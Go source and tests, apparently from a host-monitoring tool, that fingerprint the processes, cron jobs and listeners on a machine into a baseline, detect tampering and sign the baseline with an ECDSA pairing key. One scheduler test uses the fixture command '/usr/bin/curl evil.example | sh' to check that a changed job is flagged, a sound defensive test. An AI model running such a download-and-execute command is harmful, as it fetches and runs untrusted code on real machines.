if i, seen := byFP[e.FP]; seen {
if s.PID > 0 {
pids[i] = appendPID(pids[i], s.PID)
}
continue
}
byFP[e.FP] = len(out)
out = append(out, e)
if s.PID > 0 {
pids = append(pids, []int{s.PID})
} else {
pids = append(pids, nil)
}
}
return out, pids
}
// baselineEntryOfListener is the single constructor. Both sides call it; a
// second spelling of this is how the two halves drift.
func baselineEntryOfListener(s listenSocket) baselineEntry {
proc := strings.TrimSpace(s.Process)
if proc == "" {
// A SOCKET WHOSE OWNER THIS BOX COULD NOT READ IS NOT AN OWNERLESS
// SOCKET. `ss` omits the process column for sockets belonging to
// another user when it is not run as root, and for kernel-side
// listeners that have no userspace process at all. Recording "" as
// though it were the program's name would make every such socket one
// fingerprint, so two unrelated unreadable listeners would collide and
// the second would never be reported. The marker keeps them distinct by
// their bind point, which is the part this box DID observe.
proc = listenerOwnerUnknown
}
e := baselineEntry{
Kind: "listener",
// Unit carries the bind point, so baselineSlot's generic path produces
// the slot for free and there is one slot rule rather than two.
Unit: listenerBindPoint(s),
// ArgvShape carries the holder. Reusing the fingerprinted fields rather
// than adding listener-only ones keeps this class inside the digest
// rules baseline.go already documents, instead of beside them.
ArgvShape: proc,
Origin: "socket-table",
}
e.FP = baselineFP(e.Kind, e.ExeDigest, e.User, e.Unit, e.ArgvShape)
return e
}
// listenerOwnerUnknown is what stands in for a process this box could not read.
// Spelled out rather than left empty for the reason baseline.go gives about
// DigestNote: an absent field reads as "nothing there", and "I could not look"
// is a different fact that the person is entitled to.
const listenerOwnerUnknown = "(owner unreadable)"
// listenerBindPoint is proto/address:port, normalised so the same bind reads
// the same way across passes.
func listenerBindPoint(s listenSocket) string {
addr := strings.TrimSpace(s.Local)
if addr == "" {
addr = "*"
}
// ss prints the v6 wildcard as [::] and the v4 one as 0.0.0.0 or *. They are
// different binds and stay different; only the empty case is normalised.
return strings.ToLower(s.Proto) + "/" + addr + ":" + strconv.Itoa(s.Port)
}
func appendPID(xs []int, p int) []int {
for _, x := range xs {
if x == p {
return xs
}
}
xs = append(xs, p)
sort.Ints(xs)
return xs
}
+478
View File
@@ -0,0 +1,478 @@
package main
// The baseline's job is one comparison: "have I seen this before?" These tests
// are the two ways that comparison fails, because they fail in opposite
// directions and a fix for one is the cause of the other.
//
// TOO LOOSE a swapped binary reads as the same program — the detection
// story's central claim quietly stops being true.
// TOO TIGHT every service restart reads as something new — the finding list
// fills with noise and nobody reads the real one.
import (
"os"
"path/filepath"
"runtime"
"strings"
"testing"
)
// ── too loose ───────────────────────────────────────────────────────────────
// A DIFFERENT BINARY AT THE SAME PATH IS NOT THE SAME PROGRAM. This is the
// attack the digest is in the fingerprint for: drop something new at
// /usr/bin/node and a path-keyed baseline says "seen it".
func TestASwappedBinaryIsNotTheSameEntry(t *testing.T) {
const user, unit, shape = "user", "service", "node server.js"
before := baselineFP("process", "aaaaaaaaaaaa", user, unit, shape)
after := baselineFP("process", "bbbbbbbbbbbb", user, unit, shape)
if before == after {
t.Fatal("the same path with different CONTENT produced the same fingerprint. " +
"A path is a name anything can be moved to; the digest is the only field " +
"here that changes when the program does.")
}
}
// The same binary run by a different user is a different fact about this
// machine — collapsing them hides a privilege step.
func TestTheSameBinaryUnderADifferentUserIsADifferentEntry(t *testing.T) {
a := baselineFP("process", "aaaa", "user", "service", "x")
b := baselineFP("process", "aaaa", "root", "service", "x")
if a == b {
t.Error("the same program as user and as root fingerprinted identically, so a " +
"process that gained root would read as already-known")
}
}
// A flag that changes what a program DOES survives the masking. This is the
// balance point of the whole file: mask too much and this is what is lost.
func TestANewFlagIsNotMaskedAway(t *testing.T) {
// SAME NUMBER OF ARGUMENTS, different meaning. The first version of this
// test compared one flag against two, so a mutation that masked every flag
// to "<flag>" still produced different shapes and the test passed — it was
// measuring the argument COUNT, not whether the argument survived. Two
// flags either side is the assertion that cannot pass that way.
harmless := baselineArgvShape("/usr/bin/chrome --headless --disable-gpu")
loaded := baselineArgvShape("/usr/bin/chrome --headless --load-extension=/opt/x")
if harmless == loaded {
t.Errorf("--load-extension was masked away: %q == %q. The masking exists for "+
"values that change between runs of the same program, never for arguments "+
"that change what it does.", harmless, loaded)
}
// And the value it carries is part of the shape: a different extension is a
// different program, even though both are --load-extension.
other := baselineArgvShape("/usr/bin/chrome --headless --load-extension=/opt/y")
if other == loaded {
t.Errorf("two different extensions produced the same shape: %q", other)
}
}
// ── too tight ───────────────────────────────────────────────────────────────
// A RESTART IS THE SAME ENTRY. Ports, pids, temp paths and request ids all
// change when a service bounces; if any of them reached the fingerprint, every
// restart on the box would be a finding.
func TestARestartWithVolatileArgumentsIsTheSameEntry(t *testing.T) {
for _, c := range []struct{ name, a, b string }{
{"a port", "worker --port 41551", "worker --port 52233"},
{"a pid", "helper --parent 8123", "helper --parent 9471"},
{"a temp path", "svc --sock /tmp/abc123/s.sock", "svc --sock /tmp/zzz999/s.sock"},
{"a request id", "job --id 4f3a9b2c8e1d", "job --id 99aa77bb55cc"},
{"a uuid", "svc --run 3f2504e0-4f89-11d3-9a0c-0305e82c3301",
"svc --run 7c9e6679-7425-40de-944b-e07fc1f90ae7"},
} {
t.Run(c.name, func(t *testing.T) {
if got, want := baselineArgvShape(c.a), baselineArgvShape(c.b); got != want {
t.Errorf("%s made a restart look like a new program:\n %q\n %q",
c.name, got, want)
}
})
}
}
// The masking must not depend on the order the patterns happen to run in. A
// UUID is made of hex runs, so hex-first would eat it piecemeal and produce a
// different shape for the same string.
func TestAUUIDIsMaskedWholeAndNotInPieces(t *testing.T) {
got := baselineArgvShape("svc --run 3f2504e0-4f89-11d3-9a0c-0305e82c3301")
if !strings.Contains(got, "<uuid>") {
t.Errorf("a uuid was not masked as one thing: %q", got)
}
if strings.Contains(got, "<hex>") {
t.Errorf("a uuid was eaten in pieces by the hex rule: %q — the order in "+
"baselineArgvShape is load-bearing", got)
}
}
// Four workers of one service are ONE fact about this machine. A baseline that
// records a row per pid grows on every restart and is worthless by the week.
func TestIdenticalProcessesCollapseToOneEntry(t *testing.T) {
obs := []agentObs{
{PID: 1, User: "user", Cmdline: "worker --port 3001", Origin: "service"},
{PID: 2, User: "user", Cmdline: "worker --port 3002", Origin: "service"},
{PID: 3, User: "user", Cmdline: "worker --port 3003", Origin: "service"},
}
got, _ := baselineFromObservations(obs, baselineExeDigest)
if len(got) != 1 {
t.Errorf("three workers of one service produced %d entries, want 1", len(got))
}
}
// ── what it could not see ───────────────────────────────────────────────────
// AN UNREADABLE EXECUTABLE IS COUNTED AND EXPLAINED, never silently dropped.
// A baseline taken without administrator rights is a smaller truth than one
// taken with them, and the number is how a reader knows which they hold.
func TestWhatCouldNotBeReadIsCountedAndSaysWhy(t *testing.T) {
obs := []agentObs{
{PID: 1, User: "user", Exe: "", Cmdline: "something"},
{PID: 2, User: "user", Exe: "/no/such/file", Cmdline: "other"},
}
got, unreadable := baselineFromObservations(obs, baselineExeDigest)
if unreadable != 2 {
t.Errorf("unreadable = %d, want 2", unreadable)
}
for _, e := range got {
if e.ExeDigest != "" {
t.Errorf("%s got a digest from a file that cannot be read", e.FP)
}
if e.DigestNote == "" {
t.Errorf("%s has no digest and does not say why. An empty digest with no "+
"reason reads as 'nothing to see'; it is usually 'this box could not "+
"look', which is a different fact.", e.FP)
}
}
}
// A real file gets a real digest, so the test above is not passing because
// nothing can ever be hashed.
func TestAReadableExecutableIsActuallyHashed(t *testing.T) {
p := filepath.Join(t.TempDir(), "prog")
if err := os.WriteFile(p, []byte("#!/bin/sh\necho hi\n"), 0o755); err != nil {
t.Fatal(err)
}
d, note := baselineExeDigest(p)
if d == "" {
t.Fatalf("a readable regular file produced no digest: %s", note)
}
if len(d) != 64 {
t.Errorf("digest is %d chars, want a 64-char sha256", len(d))
}
// And the digest is of the CONTENT: change one byte, get a different answer.
if err := os.WriteFile(p, []byte("#!/bin/sh\necho ho\n"), 0o755); err != nil {
t.Fatal(err)
}
d2, _ := baselineExeDigest(p)
if d2 == d {
t.Error("editing the file did not change its digest")
}
}
// ── the file on disk ────────────────────────────────────────────────────────
// A baseline edited on disk must not read as the one that was taken.
func TestAnEditedBaselineNoLongerMatchesItsOwnDigest(t *testing.T) {
uiTestConfigDir(t)
f := baselineFile{
Version: baselineVersion, TakenAt: "2026-09-14T00:00:00Z",
Entries: []baselineEntry{{FP: "abc", Kind: "process", User: "user"}},
}
if err := baselineSave(f); err != nil {
t.Fatal(err)
}
got, ok, err := baselineLoad()
if err != nil {
t.Fatal(err)
}
if !ok {
t.Fatal("a baseline this test just wrote does not match its own digest")
}
if len(got.Entries) != 1 {
t.Fatalf("entries = %d, want 1", len(got.Entries))
}
// Now edit it the way somebody covering their tracks would: add an entry,
// so a new process reads as baseline.
p, err := baselinePath()
if err != nil {
t.Fatal(err)
}
b, err := os.ReadFile(p)
if err != nil {
t.Fatal(err)
}
edited := strings.Replace(string(b), `"fp": "abc"`, `"fp": "abc-tampered"`, 1)
if edited == string(b) {
t.Fatal("the fixture did not change, so this test proves nothing about editing")
}
if err := os.WriteFile(p, []byte(edited), 0o600); err != nil {
t.Fatal(err)
}
got, ok, err = baselineLoad()
if err != nil {
t.Fatal(err)
}
if ok {
t.Error("an edited baseline still matched its digest")
}
// And it is still READABLE: the caller needs to say "this was edited" and
// show what it says, which is more use than refusing to open it.
if got == nil || len(got.Entries) != 1 {
t.Error("an edited baseline could not be read at all, so nothing can report " +
"what it was changed to")
}
}
// The baseline file holds the names of every automated program on the machine,
// its user and its command line. Same permissions as every other record here.
func TestTheBaselineIsWrittenPrivate(t *testing.T) {
uiTestConfigDir(t)
if err := baselineSave(baselineFile{Version: baselineVersion}); err != nil {
t.Fatal(err)
}
p, err := baselinePath()
if err != nil {
t.Fatal(err)
}
fi, err := os.Stat(p)
if err != nil {
t.Fatal(err)
}
if runtime.GOOS == "windows" {
t.Skip("unix permission bits do not carry the same meaning here")
}
if got := fi.Mode().Perm(); got != 0o600 {
t.Errorf("baseline.json is %o, want 600 — it names every automated program on "+
"this machine, its user and its command line", got)
}
}
// ── standing jobs are part of what is normal ────────────────────────────────
// A CRON JOB ADDED AFTER THE BASELINE MUST BE SOMETHING THE DELTA CAN SEE.
// The accounting is meant to hold standing jobs, and baselineEntry.Kind has always
// documented `process | scheduler | listener`, while only processes were
// recorded — so scheduled work was outside the vocabulary the delta compares
// against, invisible to the thing built to notice new work.
func TestScheduledJobsAreInTheBaseline(t *testing.T) {
got := baselineFromSchedulers([]schedEntry{
{Kind: "cron", Name: "/etc/cron.d/backup:3", Command: "/usr/bin/backup --to /tmp/x99",
User: "root", Signature: "backup"},
{Kind: "systemd-timer", Name: "sweep.timer", Command: "/usr/bin/sweep", User: "user"},
})
if len(got) != 2 {
t.Fatalf("%d scheduler entries, want 2", len(got))
}
for _, e := range got {
if e.Kind != "scheduler" {
t.Errorf("entry kind %q, want scheduler", e.Kind)
}
if e.FP == "" {
t.Error("a scheduler entry with no fingerprint cannot be compared against")
}
if e.ExeDigest != "" {
t.Error("a scheduled job was given an executable digest; it has not run yet")
}
if e.DigestNote == "" {
t.Error("no digest and no reason — reads as 'nothing to see'")
}
}
}
// A scheduler fingerprint keys on WHAT IT WOULD RUN, so a volatile path in the
// command does not make the same job look new.
func TestARescheduledJobIsTheSameEntryButAChangedCommandIsNot(t *testing.T) {
one := baselineFromSchedulers([]schedEntry{{Kind: "cron", Name: "j:1",
Command: "/usr/bin/backup --to /tmp/abc123", User: "root"}})
two := baselineFromSchedulers([]schedEntry{{Kind: "cron", Name: "j:1",
Command: "/usr/bin/backup --to /tmp/zzz999", User: "root"}})
if one[0].FP != two[0].FP {
t.Error("a volatile temp path made the same scheduled job look like a new one")
}
// The SCHEDULE is deliberately not in the fingerprint: changing when a
// known job runs is a different event from a new job appearing.
sched := baselineFromSchedulers([]schedEntry{{Kind: "cron", Name: "j:1",
Command: "/usr/bin/backup --to /tmp/abc123", User: "root", Schedule: "0 4 * * *"}})
if sched[0].FP != one[0].FP {
t.Error("changing the schedule produced a new fingerprint, so a re-timed job " +
"would read as a new one")
}
// A different COMMAND is a different job.
other := baselineFromSchedulers([]schedEntry{{Kind: "cron", Name: "j:1",
Command: "/usr/bin/curl evil.example | sh", User: "root"}})
if other[0].FP == one[0].FP {
t.Error("a completely different command fingerprinted the same as the original")
}
}
// THE OWNING UNIT IS USED WHEN THE PLATFORM SUPPLIES ONE. Two services both
// reading "service" are told apart only by digest and argv; the unit is what
// makes them distinct facts about the machine.
func TestTwoServicesWithDifferentUnitsAreDifferentEntries(t *testing.T) {
a := []agentObs{{PID: 1, User: "root", Cmdline: "python3 worker.py",
Origin: "service", Unit: "alpha.service"}}
b := []agentObs{{PID: 2, User: "root", Cmdline: "python3 worker.py",
Origin: "service", Unit: "beta.service"}}
ea, _ := baselineFromObservations(a, baselineExeDigest)
eb, _ := baselineFromObservations(b, baselineExeDigest)
if ea[0].FP == eb[0].FP {
t.Error("two different systemd units running the same command fingerprinted " +
"identically — the unit is what tells services apart")
}
if ea[0].Unit != "alpha.service" {
t.Errorf("the entry recorded unit %q, not the real one", ea[0].Unit)
}
// And with no unit it falls back to the origin, named rather than blank.
none, _ := baselineFromObservations([]agentObs{{PID: 3, User: "root",
Cmdline: "python3 worker.py", Origin: "service"}}, baselineExeDigest)
if none[0].Unit != "service" {
t.Errorf("with no unit the entry recorded %q, want the origin as the fallback",
none[0].Unit)
}
}
// ── the baseline holds EVERYTHING, or says it does not ──────────────────────
// A BASELINE BUILT FROM THE SIGNATURE-FILTERED PLANE CANNOT WORK, and this is
// the test that says so in numbers rather than in a comment.
//
// scanAgents returns a known agent binary, an interpreter-wrapped agent, or a
// process caught talking to a model (agents.go:248-252). A baseline of only
// those contains nothing a rogue process could fail to match, so "not baseline"
// stops meaning anything. Measured on this box when the defect was found: the
// filtered plane gave 1 entry and the unfiltered walk gives 118.
func TestTheBaselineCoversMoreThanTheRecognisedAgents(t *testing.T) {
all, complete := baselineAllProcesses()
if !complete {
t.Skip("this platform has no unfiltered walk yet; cmdObserveBaseline says so in " +
"its output and the file records coverage=recognised-only")
}
recognised, err := scanAgents()
if err != nil {
t.Fatal(err)
}
// THE WIRING, not just the two sources. A mutation that pointed the baseline
// back at the filtered plane passed the comparison below, because nothing
// exercised which one collectBaseline actually uses.
f, _, _, _, err := collectBaseline()
if err != nil {
t.Fatal(err)
}
if !strings.Contains(f.Coverage, "processes=all") {
t.Errorf("the baseline reports coverage %q on a platform that HAS an unfiltered "+
"walk — it is being built from the filtered plane", f.Coverage)
}
if len(f.Entries) <= len(recognised) {
t.Errorf("the baseline holds %d entries and the filtered plane sees %d. The "+
"baseline is being built from the wrong source.", len(f.Entries), len(recognised))
}
if len(all) <= len(recognised) {
t.Fatalf("the unfiltered walk found %d processes and the signature-filtered "+
"plane found %d. If those are the same, the baseline can only ever contain "+
"things already recognised as agents — and a brand-new unknown binary, the "+
"thing this feature exists to catch, would be absent from the baseline AND "+
"from every delta computed against it.", len(all), len(recognised))
}
// And the unrecognised ones are really in there, with no signature — the
// classification is a property, never a condition for being recorded.
unsigned := 0
for _, a := range all {
if a.Signature == "" {
unsigned++
}
}
if unsigned == 0 {
t.Error("every process in the unfiltered walk carries a signature, so this is " +
"still the filtered plane wearing a different name")
}
t.Logf("%d processes, %d of them unrecognised; the filtered plane sees %d",
len(all), unsigned, len(recognised))
}
// The file SAYS which truth it holds, because a delta against a recognised-only
// baseline can only ever notice recognised things.
func TestTheBaselineRecordsItsOwnCoverage(t *testing.T) {
// EVERY HALF, separately. One word said "all-processes" while the
// scheduler half was recognised-only, which told a reader the opposite of
// the truth about the half that matters for persistence. The listener and
// identity halves report `unsupported` rather than
// `recognised-only` — a reader that did not look at all is a different fact
// from one that looked and saw a subset.
if got := baselineCoverage(true, true, true, true); got !=
"processes=all,schedulers=all,listeners=all,identities=login-shells" {
t.Errorf("coverage(all) = %q", got)
}
if got := baselineCoverage(true, false, true, true); got !=
"processes=all,schedulers=recognised-only,listeners=all,identities=login-shells" {
t.Errorf("a recognised-only scheduler half is not reported: %q", got)
}
if got := baselineCoverage(false, false, false, false); got !=
"processes=recognised-only,schedulers=recognised-only,listeners=unsupported,identities=unsupported" {
t.Errorf("coverage(partial) = %q", got)
}
// A BLIND HALF MUST NOT READ AS AN EMPTY ONE — the distinction the whole
// class guard rests on.
if baselineHasClass(baselineCoverage(true, true, false, false), "listeners") {
t.Error("an unsupported listener half reads as covered, so a delta would " +
"report every listener on the box as new")
}
if !baselineHasClass(baselineCoverage(true, true, true, true), "identities") {
t.Error("a covered identity half reads as unsupported, so identities would never be compared")
}
// A baseline written before either class existed says nothing about them,
// and that must read as "not looked at" rather than as "covered".
if baselineHasClass("processes=all,schedulers=all", "listeners") {
t.Error("a coverage line from before the listener class reads as covering listeners")
}
uiTestConfigDir(t)
if err := baselineSave(baselineFile{Version: baselineVersion,
Coverage: "processes=all,schedulers=all"}); err != nil {
t.Fatal(err)
}
f, ok, err := baselineLoad()
if err != nil || !ok {
t.Fatalf("load: %v ok=%v", err, ok)
}
if f.Coverage != "processes=all,schedulers=all" {
t.Errorf("coverage did not survive a round trip: %q", f.Coverage)
}
}
// THE SCHEDULER HALF, WIRED. The scheduler tests fed synthetic entries into
// baselineFromSchedulers, so nothing held WHICH LIST collectBaseline consumes —
// the same wiring-vs-source gap that let a mutation fool the process test.
// Measured when this was found: the plane discovered 68 standing jobs and 0
// survived the signature filter, so the baseline recorded "0 scheduled jobs"
// while 68 existed.
func TestTheBaselineTakesEverySchedulerNotOnlyRecognisedOnes(t *testing.T) {
raw, _, supported := platformSchedulers()
if !supported || len(raw) == 0 {
t.Skip("this box exposes no standing jobs to compare against")
}
filtered, _ := scanSchedulers()
if len(raw) == len(filtered) {
t.Skip("every standing job here is recognised, so the two lists cannot be told apart")
}
f, _, schedCount, _, err := collectBaseline()
if err != nil {
t.Fatal(err)
}
if schedCount <= len(filtered) {
t.Errorf("collectBaseline took %d standing jobs; the signature-filtered list has "+
"%d and the real inventory has %d. A cron job running an unrecognised "+
"command is the canonical persistence move, and a baseline that omits it "+
"has nothing for the delta to compare against.", schedCount, len(filtered), len(raw))
}
got := 0
for _, e := range f.Entries {
if e.Kind == "scheduler" {
got++
}
}
if got <= len(filtered) {
t.Errorf("the baseline holds %d scheduler entries, the filtered list has %d", got, len(filtered))
}
}
+546
View File
@@ -0,0 +1,546 @@
package main
// baselinesign.go — the accounting is SIGNED, and by a key the host already
// trusts: a signed baseline, kept on the box and mirrored to the anchor host.
//
// WHAT WAS THERE BEFORE. baseline.go's self-digest catches accident and casual
// edit and says so plainly: "it does NOT establish who took the measurement".
// The gap baseline.go used to name as "not signed" is closed here.
//
// ── WHICH KEY, AND WHY NO NEW ONE ───────────────────────────────────────────
//
// The obvious build mints a fresh signing keypair at claim-anchor and teaches
// the host to pin it. It was proposed and approved in that shape, and then
// found to be unnecessary: THE BOX ALREADY HOLDS A HOST-BOUND SIGNING KEY. At
// pair time genOperatorCSR (pair.go:85-96) generates a P-256 key that never
// leaves this machine, and the operator certificate the bridge issues for it
// carries this device's fingerprint as a URI SAN — which the host bound at
// redeem, from that device-signed CSR, under a standing invariant that the
// heartbeat is verify-not-bind and the redeem CSR is the only binder. The
// host also holds the CA that issued the certificate.
//
// So the accounting is signed with the ANCHOR pairing's operator key, and the
// host verifies it with three checks it can already make: the certificate
// chains to its CA, the certificate's fingerprint SAN is the fingerprint bound
// to this bastion's row, and the signature verifies under the certificate's
// key. No new key material on customer machines, no new pinning step, no new
// rotation path — certificate rotation already exists and this rides it.
//
// On a one-host box there is no anchor, and the only active pairing's key is
// the machine's voice. On a multi-host box with no anchor there is no single
// key that speaks for the machine, and the accounting is written UNSIGNED with
// the reason recorded in the file rather than guessed at by a reader.
//
// ── WHAT IS SIGNED ──────────────────────────────────────────────────────────
//
// Not the file bytes, and not Go's struct-ordered JSON: the host is Python, and
// reproducing encoding/json's field order and escaping there is exactly the
// kind of contract that drifts. Both sides canonicalise the same way instead:
//
// parse the document to a map; drop the two derived keys (`digest`,
// `attestation`); sort every key; no whitespace; NO HTML ESCAPING; NON-ASCII
// WRITTEN RAW (Python: ensure_ascii=False — its default escapes every
// non-ASCII character and produced a 19-byte difference on `ré` in review);
// the host then re-escapes a raw U+2028/U+2029 to `\u2028`/`\u2029`, because
// encoding/json escapes those two regardless. Numbers that the two encoders
// print differently are REFUSED on both sides (baselineCanonical).
//
// SHA-256 of that, ECDSA P-256, ASN.1/DER, base64. The host-side verifier
// lives in the platform's network service and its proof verifies the
// document TestWriteCrossLanguageFixture writes — one signed document, two
// languages.
// The Go side pins the bytes with a golden vector (baselinesign_test.go) so a
// change to this form cannot pass while breaking every host silently.
//
// ── WHAT THIS PROVES, PRECISELY ─────────────────────────────────────────────
//
// CONTINUITY, NOT HARDWARE ATTESTATION. The fingerprint in the certificate's
// SAN is the value THIS BOX computed and put into its own CSR at redeem; the
// host pinned the first one a device-signed CSR carried. So a verified
// attestation proves "the pairing that redeemed as X signed this" — exactly as
// strong as that pairing, and no stronger.
//
// NOT A DEFENCE AGAINST ROOT ON THE BOX. The signing key is a 0600 file, so a
// root intruder can sign anything, and nothing in the signed content is a
// freshness token — a validly signed accounting from last month restores
// cleanly. That is inside the accepted model (deltastate.go:25-30: a root
// intruder can also stop the daemon). What closes the rollback and stale-mirror
// cases is the BEAT: it carries `baseline_taken_at`, and the host compares it
// with the `taken_at` of the mirror it verified — a mismatch is a finding.
//
// REUSING THE mTLS KEY IS SAFE, and here is why rather than only that it is:
// TLS 1.3's CertificateVerify signs sixty-four spaces, a context string and a
// transcript hash; this signs SHA-256 of a JSON object that always begins with
// `{`. Neither can be coerced into the other's shape, so the two uses are
// structurally domain-separated, and Go's hedged ECDSA nonce removes the
// classic key-reuse hazard. "No new key material" is the operational reason;
// this is the cryptographic one.
//
// The self-digest stays exactly as it was. It is the box's own quick integrity
// check and the key delta-state.json is filed under; the attestation is the
// host's proof of provenance. Two questions, two answers.
import (
"bytes"
"crypto/ecdsa"
"crypto/rand"
"crypto/sha256"
"crypto/x509"
"encoding/base64"
"encoding/json"
"encoding/pem"
"errors"
"fmt"
"os"
"path/filepath"
"strings"
"time"
)
// baselineSigAlg names the scheme in the file, so a verifier that meets a
// different one refuses rather than guessing.
const baselineSigAlg = "ecdsa-p256-sha256"
// baselineAttestation is the provenance block on the accounting.
type baselineAttestation struct {
Alg string `json:"alg"`
// SignedBy is the host whose pairing key signed — the anchor on an anchored
// box, the only host on a one-host box. Named so a reader knows which
// certificate to expect without parsing one.
SignedBy string `json:"signed_by"`
// SignerCert is the operator certificate, PEM, followed by the intermediate
// that issued it (the pairing's operator_cert as the bridge returned it).
// Carried IN the file because
// the host does not store the certificates it issues; it stores the CA and
// the bound fingerprint, which is all it needs to judge this one.
SignerCert string `json:"signer_cert"`
// Signature is base64 of the DER-encoded ECDSA signature over
// SHA-256(baselineCanonical(file)).
Signature string `json:"signature"`
}
// baselineUnsignedReason is recorded on the file when no key could sign, so
// "unsigned" is never ambiguous between "this build cannot sign" and "this
// machine had no key that speaks for it".
const (
baselineUnsignedNoPairing = "no active pairing holds a key to sign with"
baselineUnsignedNoAnchor = "several hosts are paired and none is the anchor, so no one key speaks for this machine"
baselineUnsignedNoKey = "the pairing that speaks for this machine holds no operator key (an older pairing?)"
baselineUnsignedAnchorGone = "the anchor host's pairing is not active on this machine"
)
// baselineCanonical is the byte string both sides sign and verify.
//
// SEVEN places encoding/json and Python's json.dumps differ on this data,
// measured by the reviewer against this very function over 33 inputs;
// everything else (HTML characters, quotes, backslashes, control characters,
// non-BMP, nested ordering) agrees exactly. Each is closed, and how:
//
// 1. U+2028 / U+2029: Go escapes them, Python does not. The HOST re-escapes.
// 2. Integers beyond 2^53 (float64 round-trip). REFUSED, both sides.
// 3. Floats with an integral value (1 vs 1.0). REFUSED, both sides.
// 4. Small exponents (1e-7 vs 1e-07). REFUSED, both sides.
// 5. `-0`: Python's parser makes it 0, this decoder keeps the literal. REFUSED
// here — the only side that REFUSES it; the host prints 0 — so it is never
// signed, and a hand-edited `-0` lands as bad_signature there.
// 6. A number inside `digest`/`attestation`: this side used to check before
// dropping the keys, the host after. Dropped first now — ALIGNED.
// 7. A lone surrogate escape: this decoder folds it to U+FFFD; the host used
// to refuse. The host now folds the same way — same bytes.
//
// The accounting has exactly one numeric field, Unreadable, a small count — so
// 2-4 are unreachable today and the refusal exists so that adding a float or a
// nanosecond timestamp later fails LOUDLY here rather than as a false
// "tampered" verdict on every host. A refusal is an error from signing, never
// an unsigned file.
func baselineCanonical(f baselineFile) ([]byte, error) {
f.Digest = ""
f.Attestation = nil
structured, err := json.Marshal(f)
if err != nil {
return nil, err
}
return baselineCanonicalBytes(structured)
}
// baselineCanonicalBytes canonicalises a document from its RAW JSON, the way
// the host does. The box verifies through this too — through baselineFile it
// verified through a LOSSY parse, so a field written by a newer bastion was
// dropped before canonicalisation and an older binary reported "its content
// has changed", the loudest possible message, for a version skew the host
// verified fine.
func baselineCanonicalBytes(raw []byte) ([]byte, error) {
// UseNumber keeps every number as its source text so the check below sees
// what was written, not what float64 made of it.
dec := json.NewDecoder(bytes.NewReader(raw))
dec.UseNumber()
var m map[string]any
if err := dec.Decode(&m); err != nil {
return nil, err
}
// Drop the derived keys FIRST, then check numbers — the same order the
// host uses. Checking first refused a document (a number inside
// `attestation`) the host would have verified: an asymmetry in a function
// pair whose whole contract is byte-identity.
delete(m, "digest")
delete(m, "attestation")
if err := baselineCheckNumbers(m, "$"); err != nil {
return nil, err
}
var buf bytes.Buffer
enc := json.NewEncoder(&buf)
enc.SetEscapeHTML(false)
if err := enc.Encode(m); err != nil {
return nil, err
}
// Encode appends a newline the Python side does not produce.
return bytes.TrimRight(buf.Bytes(), "\n"), nil
}
// baselineIntExact is the largest integer both encoders print identically.
const baselineIntExact = 1 << 53
// baselineCheckNumbers refuses any number the two encoders would not agree on:
// anything that is not a plain integer, and any integer beyond 2^53.
func baselineCheckNumbers(v any, path string) error {
switch x := v.(type) {
case json.Number:
s := x.String()
if strings.ContainsAny(s, ".eE") {
return fmt.Errorf("%s is not an integer (%s); the accounting may hold only "+
"strings, small integers, booleans, lists and objects", path, s)
}
// `-0` is the one form NEITHER side otherwise catches: Python's parser
// turns it into 0 and prints 0, this decoder keeps the literal and
// prints -0, and the result is a false "tampered" verdict. This is the
// only side that refuses it, and the only side that signs, so a signed
// document can never carry one.
//
// (The `.eE` guard above is belt-and-braces: Int64() below refuses every
// such literal anyway. It exists for the error message, not the verdict.)
if s == "-0" || strings.HasPrefix(s, "-0") {
return fmt.Errorf("%s = %s is a negative zero, which the two encoders print differently", path, s)
}
n, err := x.Int64()
if err != nil || n > baselineIntExact || n < -baselineIntExact {
return fmt.Errorf("%s = %s exceeds 2^53; the two encoders would not agree on it", path, s)
}
case map[string]any:
for k, y := range x {
if err := baselineCheckNumbers(y, path+"."+k); err != nil {
return err
}
}
case []any:
for i, y := range x {
if err := baselineCheckNumbers(y, fmt.Sprintf("%s[%d]", path, i)); err != nil {
return err
}
}
}
return nil
}
// baselineSignerPairing picks the pairing whose key speaks for this machine.
// The second return is the reason none does, or "".
func baselineSignerPairing(cfgs []*Config) (*Config, string) {
// ONE filter, applied on BOTH branches. The anchored branch used to resolve
// the anchor by name alone (pairingFor matches host name and handle, never
// state), so a box whose anchor pairing was pending or revoked signed with
// it while the unanchored branch four lines down was filtering exactly that.
isActive := func(c *Config) bool { return c.State == "" || c.State == pairingActive }
if a := currentAnchor(); a != nil {
c := pairingFor(cfgs, a.AnchorHost)
if c == nil || !isActive(c) {
return nil, baselineUnsignedAnchorGone
}
if strings.TrimSpace(c.OperatorKey) == "" {
return nil, baselineUnsignedNoKey
}
return c, ""
}
var active []*Config
for _, c := range cfgs {
if isActive(c) {
active = append(active, c)
}
}
switch len(active) {
case 0:
return nil, baselineUnsignedNoPairing
case 1:
// A pairing with NO key is a reason to record, not an error to raise:
// the accounting must still be written. (A key that is PRESENT and
// unreadable is the error — baselineSign — because a reader cannot
// tell "meant to be unsigned" from "failed to sign".)
if strings.TrimSpace(active[0].OperatorKey) == "" {
return nil, baselineUnsignedNoKey
}
return active[0], ""
default:
return nil, baselineUnsignedNoAnchor
}
}
func parseECPrivateKeyPEM(keyPEM string) (*ecdsa.PrivateKey, error) {
block, _ := pem.Decode([]byte(keyPEM))
if block == nil {
return nil, errors.New("no PEM block in the operator key")
}
return x509.ParseECPrivateKey(block.Bytes)
}
// baselineSign attests the accounting with the given pairing's operator key.
func baselineSign(f *baselineFile, signer *Config) error {
if signer == nil || strings.TrimSpace(signer.OperatorKey) == "" {
return errors.New(baselineUnsignedNoKey)
}
key, err := parseECPrivateKeyPEM(signer.OperatorKey)
if err != nil {
return fmt.Errorf("the operator key could not be read: %w", err)
}
canon, err := baselineCanonical(*f)
if err != nil {
return err
}
sum := sha256.Sum256(canon)
sig, err := ecdsa.SignASN1(rand.Reader, key, sum[:])
if err != nil {
return err
}
f.Attestation = &baselineAttestation{
Alg: baselineSigAlg,
SignedBy: signer.HostName,
SignerCert: signer.OperatorCert,
Signature: base64.StdEncoding.EncodeToString(sig),
}
return nil
}
// baselineVerify checks an attestation with the SAME three tests the host
// makes, using this pairing's CA and fingerprint.
//
// Returns ok and a note. The note is what a person reads, so it names WHICH
// test failed: an unsigned file, a certificate this CA did not issue, a
// certificate for a different machine, and a signature that does not match are
// four different situations and only the last one means the content moved.
func baselineVerify(f *baselineFile, caPEM, expectFingerprint string) (bool, string) {
raw, err := json.Marshal(f)
if err != nil {
return false, "this accounting could not be re-encoded: " + err.Error()
}
return baselineVerifyBytes(raw, caPEM, expectFingerprint)
}
// baselineVerifyBytes is the verifier proper, over the file's own bytes.
